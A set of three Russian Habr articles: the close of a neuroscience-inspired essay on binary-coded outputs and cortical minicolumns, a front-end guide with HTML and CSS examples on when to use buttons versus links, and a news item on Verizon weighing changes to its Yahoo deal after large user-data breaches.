Каждый выходной нейрон получает информацию о том, какие есть воспоминания, в которых нашлось что-то общее с входным сигналом, и информацию об уровне этих совпадений. Из этой информации надо сделать вывод о том, какова вероятность, что перед нами тот образ, на который происходило обучение. Из сравнения вероятности для всех выходных нейронов надо принять решение, какой из них предпочтительнее и достаточен ли вообще уровень достигнутой вероятности для появления выходного сигнала. Бинарное кодирование выхода сети
Допустим, что нам удалось разрешить все сложности и создать такие воспоминания и выходные нейроны, которые позволяют уверенно проводить обучение с учителем и последующее распознавание. Теперь зададимся вопросом – сколько нейронов должно быть в выходном слое? В классических нейронных сетях и в той сети, что мы описали выше, ответ очевиден – столько, сколько планируется выходных признаков.
Ранее мы говорили, что в реальном мозге одна миниколонка коры, состоящая из порядка ста нейронов, выполняет функции контекстного вычислительного модуля. То есть производит анализ того, как выглядит информация в контексте именно этой миниколонки. Каждая миниколонка имеет собственную копию памяти и способна вести полную обработку информации независимо от остальных миниколонок. Это значит, что одна миниколонка должна выполнять все функции, которые свойственны нейронным сетям. При этом количество признаков, с которыми сталкивается миниколонка значительно больше ста и может составлять десятки или сотни тысяч.
Сто нейронов кодируют сто признаков, когда разговор идет о нейронах-детекторах и о признаковых описаниях. Но мы исходим из того, что нейроны не формируют признаковых описаний, а своей активностью создают сигналы бинарного кода, которыми кодируются те или иные понятия.
Несложно модифицировать нейронную сеть, чтобы ее выход кодировал не признаковое описание, а бинарный код признака. Для этого надо «соединить» воспоминания не с одним выходным нейроном, а с несколькими, образующими соответствующий код. Например, цифры от 0 до 9 можно закодировать пятибитным кодом так, чтобы в каждом коде было ровно две единицы (рисунок ниже). Тогда каждое воспоминание будет воздействовать не на один, а на два нейрона. Результатом работы такой сети будет не активность одного нейрона, соответствующего цифре, а нейронный бинарный код цифры. При таком кодировании нейроны перестают быть нейронами бабушки, так как их активность может проявляться в совершенно разных понятиях. Кодирование выхода сети бинарным кодом
Если мы посмотрим на сеть, которая получилась в результате, то окажется, что она уже мало напоминает традиционные нейронные сети, хотя и полностью сохраняет всю их функциональность.
Посмотрим на получившуюся сеть в разрезе сформулированных ранее шести принципов классической нейронной сети: Принцип 1. Каждый нейрон – это детектор некого свойства.
Не выполняется. Выходные нейроны не являются нейронами бабушки. Один и тот же нейрон срабатывают на разные признаки. Принцип 2. Информация в нейронной сети – это признаковое описание.
Не выполняется. Выход сети – это код понятия, а не набор признаков. Вход сети также может работать с кодами, а не с векторами признаков. Принцип 3. Нейронная сеть, как правило, – это преобразователь признаковых описаний.
Не выполняется. Принцип 4. Количество нейронов в сети определяет число признаков, с которыми может работать эта сеть.
Не выполняется. Выходной слой, содержащий сто нейронов, при кодировании сигнала десятью активными нейронами может отобразить 1.7х10 13 различных понятий. Принцип 5. Обучение сети – это настройка весов соединяющих нейроны связей.
Не выполняется. Воспоминания имеют «привязку» к нейронам, но никакого адаптивного изменения весов не происходит. Принцип 6. Конечность обучения. Дилемма стабильности-пластичности.
Не выполняется. Как бы не была обучена сеть ее можно всегда дообучить просто добавив новые воспоминания. При добавлении не требуется учитывать скорость обучения. Разрушения старой информации не происходит. Кроме того, новая сеть способна на «однострельное обучение». Единичный опыт в любой момент обучения создает способность узнавать соответствующее явление. В отличие от традиционных сетей не требуется многократного повторения, так как нет процедуры итерационной настройки весов нейронов-детекторов. Миниколонки коры
Основные информационные процессы нашего мозга происходят в его коре. Кора мозга делится на зоны. Каждая зона состоит из сотен тысяч одинаковых по строению миниколонок. Количество нейронов в миниколонке в зависимости от типа зоны от 100 до 200.
Нейроны одной миниколонки расположены друг под другом. Большая часть их связей сосредоточена в вертикальном направлении, то есть с нейронами своей же миниколонки. Миниколонки первичной зрительной коры кошки (слева) и обезьяны (справа) (Peters and Yilmaze, 1993)
Ранее было сделано предположение, что каждая миниколонка коры соответствует отдельному контексту. Миниколонки какой-либо зоны коры позволяют рассмотреть одну и ту же входную информацию во всех возможных для этой зоны контекстах и определить, какой из них лучше подходит для трактовки поступившей информации.
Информация распространяется по всему пространству зоны коры, например, с помощью волн с самопродолжающимся внутренним узором или же тотальной проекцией, наподобие зрительной радиации. Каждая миниколонка получает одно и то же информационное описание. Описание состоит из последовательности понятий. Для миниколонки понятие выглядит как длинный разряженный бинарный код. Этот код возникает, предположительно, как активность дендритных сегментов.
Каждое поступающее в миниколонку понятие перекодируется в другое понятие. Эта перекодировка соответствует тому, какую трактовку входной сигнал приобретает в контексте миниколонки. Для получения итоговой трактовки перекодированные понятия складываются между собой, что соответствует логическому «или» их бинарных представлений.
В результате в каждой миниколонке возникает бинарный вектор, являющийся описанием того, как выглядит исходная информация в контексте миниколонки.
С этого момента то, что происходит в каждой миниколонке во многом напоминает поведение описанной только что сети с памятью. Фиксация кода признака
Чтобы в миниколонке смог работать механизм сети с памятью, надо показать, как можно запомнить бинарный вектор описания и как при этом увязать это воспоминание с кодом соответствующего признака.
В нашей биологической модели память – это своеобразная фиксация «интерференции» двух узоров. Ранее было показано, как таким образом можно запоминать пары «идентификатор — описание». Сейчас нам требуется запомнить пару «код признака — описание». Код признака – это комбинация активности нейронов миниколонки. Описание – это активность дендритных сегментов внутри той же миниколонки. Зафиксировать интерференцию двух узоров – это запомнить на элементах первого узора картину второго узора.
Предположим, что каким-то образом удалось «пометить» нейроны, которые образуют код признака. Тогда для фиксации воспоминания типа «код признака – описание» надо на каждом из помеченных нейронов запомнить картину описания.
Биологическая основа памяти в нашей модели – это рецепторы, расположенные на дендритах нейронов. Связанные вместе несколько метаботропных рецепторов образуют рецептивный кластер. Каждый кластер чувствителен к определенному характерному для него сочетанию нейромедиаторов. Запоминание – это перевод кластера в чувствительное состояние. В чувствительном состоянии кластер способен реагировать на появление характерной для него картины нейромедиаторов.
Не будем пытаться в деталях угадать, как протекает процесс запоминания, опишем его идеологию. Сигнал описания вызывает выброс нейромедиаторов в определенных синапсах, относящихся к миниколонке. Возможно, что это происходит через создание хеша, который вызывает активность части нейронов. Возможно, что задействуются иные механизмы. Сейчас это не принципиально. Просто предположим, что картина активности дендритов привела к картине выброса нейромедиаторов. Причем картина выброса оказалась строго зависящей от информационной картины. Это значит, что разные информационные картины создают разные картины распределения выбросов нейромедиаторов. Разговор идет о нейромедиаторах и модуляторах, попадающих во внесинаптическое пространство.
Ранее было показано, что для любого объемного сигнала существуют специфические места, в которых пересекается выброс сразу нескольких типов нейромедиаторов. Одновременное сочетание специфического места и состава нейромедиаторов с высокой точностью указывает на информационный сигнал. То есть только именно такой сигнал или близкий к нему способны повторить именно в этом месте такую картину выброса нейромедиаторов.
Для любого сигнала таких мест в миниколонке будет много. Так с вероятностью, близкой к единице, хотя бы одно такое место найдется на каждом дендритном сегменте. Это значит, что на дендрите одного нейрона таких мест будет несколько десятков. Но каждое из мест будет чувствительно не ко всему сигналу, а только к его определенному фрагменту. Если представить информационный сигнал бинарным вектором, то одно избранное место – это место, реагирующее не на весь вектор, а на несколько определенных значимых бит этого вектора. На рисунке ниже приведен пример, когда каждое из избранных мест, выделенных красным, фиксирует четыре бита из девяти активных во входном сигнале. Избранные по отношению к определенному сигналу места на поверхности дендрита одного нейрона
Чтобы зафиксировать воспоминание на выбранном нейроне, надо в местах, избранных по отношению к сигналу, взять кластеры рецепторов, чувствительные к возникшему там сочетанию медиаторов, и перевести их в «активное» состояние. Активное состояние подразумевает, что с этого момента если повторится картина выброса нейромедиаторов, то кластер рецепторов узнает это и откроет расположенный поблизости ионный канал, что приведет к возникновению в этом месте миниатюрного возбуждающего постсинаптического потенциала. Иначе говоря, повторение сигнала вызовет небольшой, порядка 1 мВ, сдвиг потенциала мембраны в сторону возбуждения. Этот сдвиг будет точечным и коснется только избранного места.
Каждое повторение обучающего опыта с указанием того же кода для обучения будет вызывать добавление новых рецепторов в тех же местах. Соответственно, с каждым разом, реакция в этих местах будет все сильнее и сильнее. Одновременное появление нескольких миниатюрных возбуждающих потенциалов в одном месте ведет к их сложению. Если уровень деполяризации дендрита превысит определенный порог в этом месте возникнет дендритный спайк, которой распространится по дендриту до тела нейрона.
Несложно описать гипотетический механизм, который по таким возбуждающим сигналам восстановит исходный код, который был задан в процессе обучения. Так как поступающая информация может содержать повод для появления разных кодов, то можно предусмотреть механизм выбора одного или сразу нескольких самых уместных.
Выбор возможного выходного кода может происходить по конкурентному принципу. Код должны создать нейроны, у которых произошло самое сильное возбуждение. Например, если мы хотим, чтобы результирующий код содержал не более 15 бит из 100, то мы должны взять первые 15 нейронов по степени возбуждения, если такие вообще есть. При этом в выходном коде может оказаться код более чем одного понятия, что не страшно и говорит о том, что в информации содержится несколько признаков. Комбинаторная кластеризация
На рисунке выше изображен бинарный сигнал ABC, полученный сложением кодов трех понятий (рисунок ниже). Бинарные кода трех понятий и суммарный бинарный код
Каждое из избранных мест фиксирует след не всего сигнала, а только его случайного фрагмента. Это значит, что среди избранных мест могут оказаться места, более чувствительные к сочетанию какой-либо части признаков исходного кода.
Теперь предположим, что мы подали сигнал, содержащий только два признака AB. Его код будет такой, как показано ниже. Бинарные кода двух понятий и суммарный бинарный код
Для того же нейрона, что был в начале, новый сигнал даст только одно избранное место. На рисунке ниже оно выделено красным. Это место будет общим для сигналов AB и ABC. Создание там воспоминания о сигнале AB приведет к тому, что в этом месте реакция на любой сигнал, содержащий AB, будет сильнее чем в других избранных местах. Уменьшение реакции избранных мест для частичного сигнала
В результате такого комбинаторного запоминания получается, что если в поступающих сигналах есть закономерности, то есть устойчивые сочетания признаков, то могут найтись места, в которые начнут попадать «частичные» воспоминания, связанные с этими сочетаниями. Такие места можно назвать резонансными точками.
Чем чаще в разных примерах с одним и тем же обучающим кодом встречается определенное сочетание признаков, тем больше воспоминаний окажется в соответствующей резонансной точке и тем активнее будет ее реакция. В резонансную точку, соответствующую сигналу AB, попадут воспоминания и от сигнала ABD, и от ABFG, и тому подобные.
Сигналы в резонансных точках будут значительно выше, чем в остальных избранных точках. В резонансных точках происходит «усиление» концентрации воспоминаний за счет закономерностей, свойственных входным сигналам, в то время как в остальных точках воспоминания распределяются случайно и равномерно.
По сути, такая процедура позволяет осуществить автоматическую кластеризацию сигналов, относящихся к одному коду. О такой кластеризации мы говорили, когда описывали примеры с двойками в различных написаниях. Это же можно воспринимать, как выделение факторов в информации, помеченной учителем общим кодом.
Если нейронам действительно свойственно такое поведение, то эволюция, безусловно, усложнила его и оптимизировала по сравнению с тем, что мы описали. Так можно предположить, что когда образуются резонансные точки и, соответственно, появляются моменты высокой активности в этих местах, то там же начинается рост и отмирание дендритных шипиков. Эксперименты с шипиками позволяют найти оптимальную для этого места комбинацию сигналов, наиболее точно удовлетворяющую обнаруженной закономерности.
Кроме того, возможно, что рецепторы, оказавшиеся в неактивных местах, могут по прошествии времени возвращаться в исходное состояние. Возможно, что это один из элементов консолидации памяти. Совместная работа миниколонок
В процессе обучения с учителем на вход сети подаются входные образы и указывается, какой выходной сигнал мы хотим получить. По мере накопления опыта сеть может выделить закономерности во входных данных и сопоставить их с выходными признаками. Но это работает только в том случае, если входные описания удается «нормализовать». Перед тем как искать закономерности требуется привести все входные описания к «общему знаменателю». Если мы имеем дело с изображениями, то перед тем, как пытаться их сравнивать, необходимо преобразовать их к общему масштабу, повороту и найти смещение, при котором искомые картинки в разных примерах максимально совпадут между собой. В классическом подходе это решается с помощью сверточного слоя, мы это делаем с использованием пространства контекстов. То есть перед тем, как запомнить новую «двойку», сначала надо ее преобразовать так, чтобы она максимально совпадала с предыдущими «двойками».
Когда обнаруживается контекст, в котором новое описание согласуется с предыдущим опытом, мы говорим, что трактовка в этом контексте реализует смысл информации. Именно в этой трактовке и создается воспоминание об этом опыте. Это относится не только к зрительной, но и к любой другой информации. Такое воспоминание удобно тем, что при «наложении» его на предыдущие воспоминания проступает общее между ними.
Так как во всех контекстах должна хранится копия одной и той же памяти, то когда нужная трактовка находится в одном из контекстов, она же должна быть запомнена и во всех остальных. В реальной коре это означает, что в момент запоминания все контексты должны будут «отказаться» от собственных трактовок, воспроизвести выбранную трактовку и запомнить ее. Если идет обучение с учителем и известен требуемый код признака, то запомнить вместе с этим кодом.
Ранее мы говорили, что для организации пространства контекстов требуется, чтобы каждая миниколонка хранила правила преобразований не только для собственного, но и для всех остальных контекстов. Это позволяет перемещать миниколонки просто меняя указатель на то, какой контекст должен использоваться миниколонкой. Такая тотальная память на преобразования позволяет реализовать не только перемещения контекстов, но и синхронное запоминание.
Для запоминания достаточно, чтобы по зоне коры распространился код того контекста, в котором определился смысл информации и требуемый для обучения код признака. Тогда каждая миниколонка может самостоятельно воспроизвести нужную трактовку и выполнить запоминание.
В этой части мы рассмотрели возможный для коры механизм обучения с учителем. Этот механизм достаточно прост, как достаточно проста и сама постановка задачи — по примерам научиться правильно относить объекты к нужному классу. Гораздо интереснее и сложнее задача самообучения — есть данные, в них есть закономерности, требуется выделить эти закономерности. Сложность в том, что в краткой постановке задачи ничего не говорится о том, какие закономерности нас интересуют, сколько закономерностей надо выделить, интересуют ли нас частные редкие закономерности или же надо искать наиболее общие правила, хотим ли мы построить ортогональный базис или нас устроит описание в косоугольных факторах. В следующей части пойдет разговор о том какое универсальное решение может предложить мозг для решения этой задачи.
Алексей Редозубов Логика сознания. Часть 1. Волны в клеточном автомате Логика сознания. Часть 2. Дендритные волны Логика сознания. Часть 3. Голографическая память в клеточном автомате Логика сознания. Часть 4. Секрет памяти мозга Логика сознания. Часть 5. Смысловой подход к анализу информации Логика сознания. Часть 6. Кора мозга как пространство вычисления смыслов Логика сознания. Часть 7. Самоорганизация пространства контекстов Логика сознания. Пояснение «на пальцах» Логика сознания. Часть 8. Пространственные карты коры мозга Логика сознания. Часть 9. Искусственные нейронные сети и миниколонки реальной коры Логика сознания. Часть 10. Задача обобщения Логика сознания. Часть 11. Естественное кодирование зрительной и звуковой информации | https://habrahabr.ru/post/317712/ |
habrahabr | Кнопка или ссылка? | ['ссылки', 'кнопки', 'вёрстка', 'дизайн', 'стилизация'] |
Кнопка или ссылка?
Я знаю хабр не для жалоб,
но доколе
использовать ты будешь
— ссылки вместо кнопок <UserName />‽
Автор иллюстрации <Marat Hilmanov>... | Кнопка или ссылка ? Я знаю хабр не для жалоб,
но доколе
использовать ты будешь
— ссылки вместо кнопок <UserName /> ‽ Автор иллюстрации <Marat Hilmanov> gray-monkey@yandex.ru Если коротко: Используйте для кнопок — кнопки, а для ссылок — ссылки . Для кнопок использовать ссылки
— не комильфо. Это не исчерпывающее руководство по кнопкам и не пример невероятного дизайна, а лишь попытка показать, что есть разница между ссылками и кнопками. Для кого эта статья? В первую очередь для дизайнера который делает макет сайта, но не дорисовывает детали свойственные вебу. Своеобразная попытка объяснить, что веб-сайт лежит за пределами плоской полиграфии. Во вторых для верстальщика к которому пришёл макет без состояний, чтобы было куда дизайнера послать. В третьих чтобы вместо очередной тирады о разнице в кнопках\ссылках и нужности дизайна состояний, просто давать ссылку . Содержание Ссылки Введение
Антипаттерн
Состояния
Кнопки Доступность
Поведение внутри тега <form>
Состояния
Отображение
CSS Простой
Сложный
Дизайнеру
Спасибо
Репозиторий на GitHub
Ссылки Введение <a href="javascript:;">Ссылка которая кнопка</a> Когда наводят указатель на ссылку которая кнопка то в левом нижнем углу появляется надпись javascript:;:
Или адрес с решёткой: ПКМ на такой кнопке и контекстное меню любезно предложит: ctrl + ЛКМ на такой кнопке откроют новую вкладку на которой будет ровно та страница, с которой она была открыта. Кроме того такая ссылка с решёткой в качестве ссылки , станет :visited , если ещё не стала до этого, и приобретёт соотстветствующее стилевое оформление. Если дизайнер его конечно не зарезал, что в большинстве случаев конечно зря, о чём ниже. В JavaScript скриптах для таких кнопок дополнительно используется e.preventDefault() , чтобы предотвратить действие кнопки по умолчанию (переход по ссылке ) "— это костыль. <a href="//link.url">Ссылка</a> Если клик приведёт к смене адреса,
этот адрес можно скопировать,
отправить по электронной почте,
на него можно снова зайти,
это не адрес самой страницы — это ссылка .
У ссылки должны быть стили для обычного, :active , :visited , :focus и :hover состояний. Антипаттерн a {
color: black !important;
text-decoration: none !important;
cursor: default !important;
} Поздравляю! С такими стилями все ваши ссылки визуально превратятся в обычный текст. Найти их на странице станет крайне затруднительно. И помните, если вы ставите !important и не очень понимаете почему вы без него не можете обойтись, то читайте это слово как импотент . Возможно вам нужно немного изменить селектор для того, чтобы перекрыть тот, который вам мешает. Состояния a — обычное состояние a {
color: #0645ad;
cursor: pointer;
text-decoration: none;
} В обычном состоянии a должна быть синей или подчёркнутой, а лучше и синей и подчёркнутой, чтобы пользователь без наведения мыши понимал, что это — ссылка . Пользователь привык к тому, что синие слова на странице это ссылки , даже если они не подчёркнуты. Если вам не нравится синий цвет для ссылок , меняйте его, но тогда ссылки подчёркивайте. a:hover — наведение a:hover {
text-decoration: underline;
} Когда курсор находится над ссылкой , она становится :hover и в данном примере приобретает подчёркивание. Так пользователь поймёт, что это точно ссылка , на которую можно кликнуть. a:focus — фокус клавиатуры a:focus {
text-decoration: underline;
} Когда на ссылку устанавливается указатель, перемещаемый табулятором TAB ↹
она становится :focus . В 2016 году это может показаться странным, но есть люди которые работают с сайтам посредством клавиатуры. У некоторых вовсе сломана мышь. В любом случае, занулять :focus состояние — это преступление против таких людей. Особые спецэфекты применять не обязательно, достаточно таких как у :focus . CSS чтобы не писать дважды: a:focus, a:hover {
text-decoration: underline;
} a:active — клик a:active {
color: #faa700;
} Важное состояние :active происходит когда пользователь уже кликнул на ссылку , но клавишу ещё не отпустил. Помогает пользователю понять, что его клик сработал, и ему не нужно кликать по ней несколько раз, чтобы точно перейти на нужную страницу. a:visited — ранее посещённая страница a:visited {
color: #0b0080;
} Можно все посмотреть‽ :visited , поможет пользователю не забыть какие странички он уже открывал и не открывать их повторно. Так вместе с :active и :hover мы чуточку разгрузим интернет от случайных загрузок, и сделаем его чуть лучше и быстре. В эпоху HTML4 вместо кнопок использовались ссылки подчёрнутые пунктирной линией. Этот паттерн устарел.
Подчёркивание пунктирной линией рекомендуется для тултипов при наведении.
Например у <abbr> такое выделение поможет понять, что можно навести указатель и получить расшифровку. Пример нестандартного оформления ссылок: Слова в ссылке должны подчиняться правилам русского языка, капс непозволителен (исключение — аббревиатуры) HTML5 <button>Кнопка</button> Если клик не меняет адрес страницы,
адрес нельзя скопировать
и нельзя этим адресом поделиться — это кнопка .
В кнопке позволителен капс, при условии, что вы не используете аббревиатуры. Особенно в неочевидных местах.
Если у вас встречаются аббревиатуры, то верхний регистр в кнопке не желателен, выделяйте их другим способом. Не искушайте пользователей тапать по тому, что не тапается. У пользователей тачскрина нет возможности подсмотреть :hover или :focus состояние. Ну или есть, но происходит это всё не очень удобно, обычно уже после свершившегося тапа. Доступность <button /> может быть недоступен на архаичных браузерах или устройствах. У кнопок не применятся стили без специальных JavaScript скриптов.
Но вас это не должно беспокоить. На таких устройствах часто и JavaScript не работает. И быть может CSS. Вообще если следовать идеологии что всё, что должно обрабатываться JavaScript'ом, должно добавляться JavaScript'ом, такой проблемы вовсе не возникнет.
Что JSΩ , то JSॐ ! Как говорится. Поведение внутри формы <button> по умолчанию имеет атрибут type=submit даже если его не прописать. Ещё этот атрибут может принимать значения reset для сброса заполнения в форме
и button чтобы исключить влияние на форму. Правила хорошего тона предполагают,
что везде нужно писать <button type="button">Кнопка</button> . Но на деле можно ограничится полной записью только внутри <form></form> , type=submit в остальных местах ни на, что не влияет. Это кстати отличный сбособ для стилизации кнопки отправки формы.
В отличии от <input type="submit" value="Кнопка" /> , в содержимое button можно писать любой HTML код, а не только текст.
Например <button>
<img src="/images/icon.svg" title="Красная таблетка" alt="Иконка" />
<span style="color: red;">Красный</span> <span style="color: blue;">Синий</span>
</button>
Это даёт даже больше свободы в стилевом оформлении чем <input type="image" /> Состояния Похожи на состояния у ссылок за исключением того, что у кнопок нет состояния :visited , зато есть состояние :disabled .
Обычно дефолтное оформление браузера выпиливается основательно, иногда с нейтрализацией отображения состояний отличных от обычного. Да. Этот гайд для тебя, любитель превратить веб-страницу в бумажный аналог. Стилей для этих штучек понадобится немного больше, но всё не так страшно. Кроме того ребята из Twitter и отчасти Google уже позаботились о реализации велосипеда.
Тёплый ламповый Bootstrap "и новомодный MaterializeCSS , например. Отображение Так выглядит <button>Кнопка</button> в моём Chrome 54:
На картинке button , button:hover , button:focus , button:active соответственно. Без излишеств. Но учитывая движение Google в направлении Material Design , вполне может статься так, что в скором времени их заменят на подобные аналоги . CSS Для наглядности — мой вариант велосипеда который выглядит странновато, но для примера сойдёт.
Обычная, наведение, клик, отключена соответственно. button — обычное состояние button {
background: none;
outline: none;
border: none;
text-transform: uppercase;
} button:hover , button:focus — при наведении button:hover, button:focus {
color: hsla(108, 12%, 0%, 1);
box-shadow: -1px 1px 2px hsla(108, 62%, 42%, 1);
background-color: hsla(108, 62%, 92%, 1)
} button:active — в момент клика button:active {
color: hsla(108, 42%, 32%, 1);
box-shadow: -2px 4px 8px hsla(64, 64%, 42%, 1);
background-color: hsla(64, 64%, 92%, 1);
} button:disable — отключена button:disabled {
color: hsla(0, 0%, 64%, 1);
background: none;
box-shadow: none;
opacity: 1;
} Пример посложнее Посмотреть в живую на JSFiddle Показать CSS button {
margin: .8rem;
font-size: 1.42rem;
padding: 1rem;
background: hsla(180, 90%, 64%, 1);
color: hsla(180, 90%, 12%, 1);
text-shadow: 1px 1px 1px hsla(180, 90%, 32%, 1);
box-shadow: -4px 4px 0 0 hsla(180, 90%, 22%, .87), -3px 4px 3px hsla(180, 42%, 11%, 1), 1px 5px 4px hsla(180, 42%, 11%, 1), -4px 1px 0 0 hsla(180, 90%, 32%, 1), inset 0 0 1px 0 hsla(180, 90%, 90%, 1);
border: 1px hsla(180, 92%, 56%, 1) solid;
border-top-color: hsla(180, 92%, 64%, 1);
border-radius: 5px;
outline: none;
position: relative;
transition: all .22s ease-in;
}
button:hover {
background: hsla(420, 90%, 42%, 1);
color: hsla(420, 90%, 12%, 1);
text-shadow: 1px 1px 1px hsla(420, 90%, 32%, 1);
border: 1px hsla(420, 92%, 56%, 1) solid;
border-top-color: hsla(420, 90%, 64%, 1);
box-shadow: -4px 4px 0 0 hsla(420, 90%, 22%, .87), -3px 4px 3px hsla(420, 42%, 11%, 1), 1px 5px 4px hsla(420, 42%, 11%, 1), -4px 1px 0 0 hsla(420, 90%, 32%, 1), inset 0 0 1px 0 hsla(420, 90%, 90%, 1);
}
button:focus {
background: hsla(108, 90%, 42%, 1);
color: hsla(108, 90%, 12%, 1);
text-shadow: 1px 1px 1px hsla(108, 90%, 32%, 1);
border: 1px hsla(108, 92%, 56%, 1) solid;
border-top-color: hsla(108, 90%, 64%, 1);
box-shadow: -4px 4px 0 0 hsla(108, 90%, 22%, .87), -3px 4px 3px hsla(108, 42%, 11%, 1), 1px 5px 4px hsla(108, 42%, 11%, 1), -4px 1px 0 0 hsla(108, 90%, 32%, 1), inset 0 0 1px 0 hsla(108, 90%, 90%, 1);
}
button:active {
background: hsla(420, 90%, 42%, 1);
color: hsla(420, 90%, 12%, 1);
text-shadow: 1px 1px 1px hsla(420, 90%, 32%, 1);
transform: translate(-4px, 4px);
border: 1px hsla(420, 92%, 22%, 1) solid;
border-top-color: hsla(420, 92%, 56%, 1);
box-shadow: 0 0 0 0 hsla(420, 90%, 22%, .87), 0 0 0 hsla(420, 42%, 11%, 1), 0 0 0 hsla(420, 42%, 11%, 1), 0 0 0 0 hsla(420, 90%, 32%, 1), inset 1px 1px 4px 0 hsla(420, 90%, 22%, 1);
}
button:disabled {
background: hsla(420, 0%, 64%, 1);
color: hsla(420, 0%, 12%, 1);
text-shadow: 1px 1px 1px hsla(420, 0%, 32%, 1);
transform: translate(-4px, 4px);
border: 1px hsla(420, 0%, 22%, 1) solid;
border-top-color: hsla(420, 0%, 56%, 1);
box-shadow: 0 0 0 0 hsla(420, 0%, 22%, .87), 0 0 0 hsla(420, 42%, 11%, 1), 0 0 0 hsla(420, 42%, 11%, 1), 0 0 0 0 hsla(420, 0%, 32%, 1), inset 1px 1px 4px 0 hsla(420, 0%, 22%, 1);
}
button:disabled.in_ajax
{
background: hsla(108, 22%, 64%, 1);
color: hsla(108, 22%, 12%, 1);
text-shadow: 1px 1px 1px hsla(108, 22%, 32%, 1);
transform: translate(-4px, 4px);
border: 1px hsla(108, 22%, 22%, 1) solid;
border-top-color: hsla(108, 22%, 56%, 1);
box-shadow: 0 0 0 0 hsla(108, 22%, 22%, .87), 0 0 0 hsla(420, 42%, 11%, 1), 0 0 0 hsla(420, 42%, 11%, 1), 0 0 0 0 hsla(420, 0%, 32%, 1), inset 1px 1px 4px 0 hsla(420, 0%, 22%, 1);
} Дизайнеру Ты цээсэсов можешь и не знать, но состояния отрисовать обязан ! От дизайнера помимо макета с обычным состоянием ссылки или кнопки, требуется прилагать различные состояния, дабы не устраивать верстальщику батхерт.
Например так: Ребята из Google сделали такой макет. Спасибо Спасибо, что дочитали. Всё здесь написаннное не является 100% истиной в последней инстанции. Репозиторий GitHub Ссылка на репозиторий этой статьи . Если хотите дополнить или исправить, присылайте пожалуйста Pull Request | https://habrahabr.ru/post/317728/ |
habrahabr | Verizon хочет отказаться от сделки с Yahoo из-за утечки данных пользователей | ['yahoo', 'verizon', 'сделки', 'информационная безопасность'] |
Компания Verizon Communications Inc. летом этого года предложила корпорации Yahoo за ее основной интернет-бизнес и принадлежащую компании недвижимость $4.83 млрд, что примерно в восемь раз ниже... |
Компания Verizon Communications Inc. летом этого года предложила корпорации Yahoo за ее основной интернет-бизнес и принадлежащую компании недвижимость $4.83 млрд, что примерно в восемь раз ниже рыночной капитализации компании. В июне, по итогам торгов, капитализация Yahoo составила $37 млрд. По условиям сделки пакеты китайской компании пакеты акций китайской Alibaba Group (15%) и Yahoo Japan (35,5%) совокупной стоимостью около $40 млрд, а также портфель непрофильных патентов остаются в Yahoo.
Основной интернет-бизнес Yahoo — почтовый сервис, поиск, новостной и спортивный ресурсы, финансовые инструменты и мессенджер. Все это Verizon планировала встроить в собственный интернет-бизнес. Но сейчас компания ищет возможность либо отказаться от сделки с Yahoo, либо же изменить договор, сократив на целый миллиард предложенную ранее сумму. Причина — утечка данных аккаунтов пользователей Yahoo.
Как известно, сегодня утром многим пользователям Yahoo пришло письмо с подтверждением утечки пользовательских данных. Речь идет об именах пользователей, адресах электронной почты, номерах телефонов, датах рождения, хэшах паролей (MD 5). Возможно, кроме всего названного, злоумышленники украли еще какие-то данные. К счастью, сервера с информацией по банковским картам и счетам не были скомпрометированы. Что вообще случилось?
В письме, которое получили пользователи, говорится о том, что правоохранители в ноябре 2016 года предоставили компании Yahoo для анализа некие базы данных, полученные от третьих лиц. Эта сторона, в свою очередь, утверждала, что предоставленная информация — это данные пользовательских аккаунтов Yahoo. Специалисты компании проанализировали все полученное и выяснили, что это действительно пользовательские аккаунты. В ходе разбирательств оказалось, что данные были похищены не сейчас, а в августе 2013 года, причем в сеть утек целый миллиард учетных записей, среди которых около 150 тысяч аккаунтов правительственных чиновников . При этом определить факт взлома корпорация не смогла. По мнению представителей Yahoo, этот взлом отличается от инцидента от 22 сентября 2016 года.
Еще один взлом? Да, осенью этого года компания Yahoo признала еще один факт утечки данных, подтвердив слухи, начавшие циркулировать еще в начале августа 2016 года. Причем ситуация оказалась еще более тяжелой, чем предполагали исследователи по информационной безопасности. Выяснилось, что в 2014 году произошла утечка данных пользователей, которая затронула около 500 млн учетных записей. В похищенной базе были обнаружены имена пользователей, адреса электронной почты, номера телефонов, даты рождения, хэши паролей и секретные вопросы с ответами на них как в открытом, так и в закрытом виде.
В сентябре корпорация утверждала, что утечка данных была организована правительственными хакерами. К сожалению, никаких доказательств в пользу этой точки зрения тогда приведено не было. Ну а причем здесь Verizon?
Как покупатель интернет-сервисов Yahoo компания Verizon заинтересована в том, чтобы все прошло гладко. Сейчас же уже не похоже на то, что сделка идет так, как было запланировано изначально. Несмотря на то, что исполнительный директор АОL Тим Армстронг со своей командой (AOL сейчас входит в состав Verizon) составляет план интеграции продуктов Yahoo в бизнес Verizon, другая группа специалистов занимается изучением возможности снижения цены сделки или же полного отказа от нее. Об этом заявил источник Bloomberg, пожелавший остаться неизвестным. Покупатель в текущей ситуации желает, чтобы Yahoo взяла на себя всю ответственность за это происшествие.
Вторую группу возглавляет главный юрисконсульт Verizon Крейг Силлиман. Он с коллегами оценивает ущерб от утечки и работает над тем, чтобы повлиять на руководство Yahoo, заставив компанию сделать «скидку». «Как мы сообщали, мы продолжаем оценивать ситуацию, в то время, как Yahoo занимается тем же самым. Мы проанализируем влияние этого фактора (взлома, — прим. ред.) прежде, чем делать финальные выводы», — говорится в обращении Verizon. Марисса Мейер, глава Yahoo, пытается найти выход из сложившейся ситуации
Кстати, Силлиман осенью предупреждал Yahoo о «материальных последствиях» предыдущего взлома, уже тогда пытаясь повлиять на руководство Yahoo. Если точнее, то он требовал снизить заявленную ранее сумму сделки. Тем временем, акции Yahoo упали на 6,5% до $38,25. Акции Verizon выросли примерно на 1% до $52,07.
Скорее всего, представители Verizon вряд ли откажутся от сделки, поскольку руководство компании и сейчас говорит, что она имеет смысл для основного бизнеса, и повлияет на стратегию развития самой Verizon. Компания планирует расширяться, и в первую очередь, эти планы относятся к развитию мобильных медиаресурсов и рекламного бизнеса. Здесь сотни миллионов пользователей Yahoo лишними явно не будут.
Кстати, сейчас некоторые из них подают на Yahoo в суд, обвиняя компанию в том, что она недостаточно серьезно относится к защите информации своих клиентов. Уже через несколько часов после того, как о взломе стало известно, на компанию подал в суд первый истец. «Yahoo никак не удается обеспечить соответствующий уровень защиты частной конфиденциальной информации своих пользователей. Эта информация постоянно компрометируется и остается уязвимой», заявил он в иске.
